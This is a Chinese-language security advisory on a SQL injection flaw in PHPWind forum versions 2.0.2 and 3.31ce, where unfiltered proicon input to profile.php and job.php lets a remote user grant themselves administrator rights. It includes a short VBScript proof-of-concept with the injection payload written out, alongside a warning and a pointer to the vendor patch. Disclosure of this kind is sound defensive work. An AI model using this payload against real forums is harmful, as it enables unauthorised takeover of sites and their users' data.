安全研究

安全漏洞
PHPWind job.php远程SQL注入漏洞

发布日期:2005-08-10
更新日期:2005-08-10

受影响系统:
PHPWind PHPWind 3.31ce
PHPWind PHPWind 2.0.2
描述:
PHPWind是一款国内比较流行的基于PHP的Web论坛程序。

PHPWind实现上存在输入验证漏洞,远程攻击者可能利用此漏洞非授权获取论坛的管理员权限。

PHPWind的job.php脚本对待处理的数据未作充分的过滤检查即用来构造SQL请求,远程攻击者可以通过向profile.php脚本的proicon变量传递带有恶意SQL命令串的数据并最终调用job.php,触发漏洞执行SQL注入攻击。攻击者可能利用此漏洞获取论坛的管理权限。

<*链接:http://www[dot]eviloctal[dot]com/forum/htm_data/10/0508/13411.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

kevin1986 提供了如下的测试代码:

---------------------------codz start here-----------------------------------
set k=createobject("MSXML2.XMLHTTP")
thestr="proemail=themailof@you.net&proicon=0.gif%27%2Cgroupid%3D%273%7Ctest&step=2"
k.open "POST","http://www.****.net/phpwind/profile.php",false,false
k.setRequestHeader "Content-Length",Len(thestr)
k.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded"
k.send(thestr)
k.open "Get","http://www.****.net/phpwind/job.php?action=delimg"
k.send
msgbox "the ninth line will tell u the program Send Finished right now And More iwan2C." & vbcrlf & "infact im not interesting in anything what u r talk about except technology." & vbcrlf & "hommmm.everyone. if u wanna share.please share it free in anyway."

----------------------------codz end here------------------------------------

建议:
厂商补丁:

PHPWind
-------
目前厂商已经在最新版本的软件中修复了这个安全问题,请到厂商的主页下载:

http://www.phpwind.net/

浏览次数:4524
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障